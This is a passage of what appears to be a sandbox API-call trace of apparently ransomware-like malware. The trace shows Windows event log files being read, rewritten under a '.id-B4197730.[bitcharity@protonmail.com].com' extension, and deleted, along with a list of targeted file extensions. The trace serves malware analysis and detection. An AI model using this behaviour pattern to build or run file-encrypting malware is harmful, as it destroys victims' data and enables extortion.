0xffffffff [0150.326] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0150.326] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.326] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.326] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0150.327] GetLastError () returned 0x0 [0150.327] ReadFile (in: hFile=0x10e8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0150.418] WriteFile (in: hFile=0x103c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0150.421] ReadFile (in: hFile=0x10e8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.421] WriteFile (in: hFile=0x103c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x128, lpOverlapped=0x0) returned 1 [0150.421] SetEndOfFile (hFile=0x103c) returned 1 [0150.421] CloseHandle (hObject=0x103c) returned 1 [0150.425] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.425] SetEndOfFile (hFile=0x10e8) returned 1 [0150.427] CloseHandle (hObject=0x10e8) returned 1 [0150.427] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0150.427] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1 [0150.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0150.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0150.428] lstrlenW (lpString=".doc") returned 4 [0150.428] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.428] lstrlenW (lpString=".docx") returned 5 [0150.428] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.428] lstrlenW (lpString=".pdf") returned 4 [0150.428] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.428] lstrlenW (lpString=".xls") returned 4 [0150.428] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.428] lstrlenW (lpString=".xlsx") returned 5 [0150.428] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.428] lstrlenW (lpString=".ppt") returned 4 [0150.428] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0150.428] lstrlenW (lpString=".zip") returned 4 [0150.428] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.428] lstrlenW (lpString=".rar") returned 4 [0150.428] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.428] lstrlenW (lpString=".bz2") returned 4 [0150.428] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.428] lstrlenW (lpString=".7z") returned 3 [0150.428] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0150.428] lstrlenW (lpString=".dbf") returned 4 [0150.428] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0150.429] lstrlenW (lpString=".1cd") returned 4 [0150.429] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0150.429] lstrlenW (lpString=".jpg") returned 4 [0150.429] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0150.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0150.429] lstrlenW (lpString=".doc") returned 4 [0150.429] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.429] lstrlenW (lpString=".docx") returned 5 [0150.429] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.429] lstrlenW (lpString=".pdf") returned 4 [0150.429] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.429] lstrlenW (lpString=".xls") returned 4 [0150.429] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.429] lstrlenW (lpString=".xlsx") returned 5 [0150.429] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.429] lstrlenW (lpString=".ppt") returned 4 [0150.429] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0150.429] lstrlenW (lpString=".zip") returned 4 [0150.429] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.429] lstrlenW (lpString=".rar") returned 4 [0150.429] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.429] lstrlenW (lpString=".bz2") returned 4 [0150.429] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.430] lstrlenW (lpString=".7z") returned 3 [0150.430] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.430] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0150.430] lstrlenW (lpString=".dbf") returned 4 [0150.430] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.430] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0150.430] lstrlenW (lpString=".1cd") returned 4 [0150.430] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.430] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0150.430] lstrlenW (lpString=".jpg") returned 4 [0150.430] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.431] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0150.431] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42 [0150.431] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0150.431] GetFileSizeEx (in: hFile=0x10e8, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0150.431] CloseHandle (hObject=0x10e8) returned 1 [0150.434] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0150.434] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0150.434] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0150.434] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.434] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.434] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0150.435] GetLastError () returned 0x0 [0150.435] ReadFile (in: hFile=0x10e8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0150.561] WriteFile (in: hFile=0x103c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0150.563] ReadFile (in: hFile=0x10e8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.563] WriteFile (in: hFile=0x103c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x128, lpOverlapped=0x0) returned 1 [0150.563] SetEndOfFile (hFile=0x103c) returned 1 [0150.564] CloseHandle (hObject=0x103c) returned 1 [0150.849] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.849] SetEndOfFile (hFile=0x10e8) returned 1 [0150.851] CloseHandle (hObject=0x10e8) returned 1 [0150.851] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0150.853] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1 [0150.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0150.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0150.855] lstrlenW (lpString=".doc") returned 4 [0150.855] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.855] lstrlenW (lpString=".docx") returned 5 [0150.855] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.855] lstrlenW (lpString=".pdf") returned 4 [0150.855] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.855] lstrlenW (lpString=".xls") returned 4 [0150.855] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.855] lstrlenW (lpString=".xlsx") returned 5 [0150.855] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.855] lstrlenW (lpString=".ppt") returned 4 [0150.855] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0150.855] lstrlenW (lpString=".zip") returned 4 [0150.855] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.855] lstrlenW (lpString=".rar") returned 4 [0150.855] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.855] lstrlenW (lpString=".bz2") returned 4 [0150.855] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.855] lstrlenW (lpString=".7z") returned 3 [0150.856] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0150.856] lstrlenW (lpString=".dbf") returned 4 [0150.856] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0150.856] lstrlenW (lpString=".1cd") returned 4 [0150.856] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0150.856] lstrlenW (lpString=".jpg") returned 4 [0150.856] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0150.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0150.856] lstrlenW (lpString=".doc") returned 4 [0150.856] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.856] lstrlenW (lpString=".docx") returned 5 [0150.856] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.856] lstrlenW (lpString=".pdf") returned 4 [0150.856] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.857] lstrlenW (lpString=".xls") returned 4 [0150.857] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.857] lstrlenW (lpString=".xlsx") returned 5 [0150.857] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.857] lstrlenW (lpString=".ppt") returned 4 [0150.857] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0150.857] lstrlenW (lpString=".zip") returned 4 [0150.857] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.857] lstrlenW (lpString=".rar") returned 4 [0150.857] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.857] lstrlenW (lpString=".bz2") returned 4 [0150.857] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.857] lstrlenW (lpString=".7z") returned 3 [0150.857] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0150.857] lstrlenW (lpString=".dbf") returned 4 [0150.857] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0150.857] lstrlenW (lpString=".1cd") returned 4 [0150.857] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0150.857] lstrlenW (lpString=".jpg") returned 4 [0150.857] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.858] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0150.858] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66 [0150.858] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0150.858] GetFileSizeEx (in: hFile=0x10e8, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0150.858] CloseHandle (hObject=0x10e8) returned 1 [0150.858] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0150.858] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0150.859] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0150.859] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.859] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.859] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0150.859] GetLastError () returned 0x0 [0150.877] ReadFile (in: hFile=0x10e8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0150.904] WriteFile (in: hFile=0x103c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0150.906] ReadFile (in: hFile=0x10e8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.906] WriteFile (in: hFile=0x103c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x158, lpOverlapped=0x0) returned 1 [0150.907] SetEndOfFile (hFile=0x103c) returned 1 [0150.907] CloseHandle (hObject=0x103c) returned 1 [0150.917] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.917] SetEndOfFile (hFile=0x10e8) returned 1 [0150.919] CloseHandle (hObject=0x10e8) returned 1 [0150.919] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0150.919] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1 [0150.919] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0150.919] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0150.919] lstrlenW (lpString=".doc") returned 4 [0150.919] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.919] lstrlenW (lpString=".docx") returned 5 [0150.919] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.920] lstrlenW (lpString=".pdf") returned 4 [0150.920] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.920] lstrlenW (lpString=".xls") returned 4 [0150.920] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.920] lstrlenW (lpString=".xlsx") returned 5 [0150.920] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.920] lstrlenW (lpString=".ppt") returned 4 [0150.920] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0150.920] lstrlenW (lpString=".zip") returned 4 [0150.920] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.920] lstrlenW (lpString=".rar") returned 4 [0150.920] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.920] lstrlenW (lpString=".bz2") returned 4 [0150.920] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.920] lstrlenW (lpString=".7z") returned 3 [0150.920] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0150.920] lstrlenW (lpString=".dbf") returned 4 [0150.920] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0150.920] lstrlenW (lpString=".1cd") returned 4 [0150.920] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0150.920] lstrlenW (lpString=".jpg") returned 4 [0150.920] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0150.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0150.921] lstrlenW (lpString=".doc") returned 4 [0150.921] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.921] lstrlenW (lpString=".docx") returned 5 [0150.921] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.921] lstrlenW (lpString=".pdf") returned 4 [0150.921] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.921] lstrlenW (lpString=".xls") returned 4 [0150.921] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.921] lstrlenW (lpString=".xlsx") returned 5 [0150.921] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.921] lstrlenW (lpString=".ppt") returned 4 [0150.921] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0150.921] lstrlenW (lpString=".zip") returned 4 [0150.921] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.921] lstrlenW (lpString=".rar") returned 4 [0150.921] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.921] lstrlenW (lpString=".bz2") returned 4 [0150.921] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.921] lstrlenW (lpString=".7z") returned 3 [0150.921] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0150.921] lstrlenW (lpString=".dbf") returned 4 [0150.921] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0150.921] lstrlenW (lpString=".1cd") returned 4 [0150.921] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0150.921] lstrlenW (lpString=".jpg") returned 4 [0150.922] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.922] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0150.922] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76 [0150.922] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0151.594] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0151.594] CloseHandle (hObject=0x108c) returned 1 [0151.594] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0151.594] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.595] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0151.596] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.596] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.596] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0151.598] GetLastError () returned 0x0 [0151.598] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0151.673] WriteFile (in: hFile=0x1088, 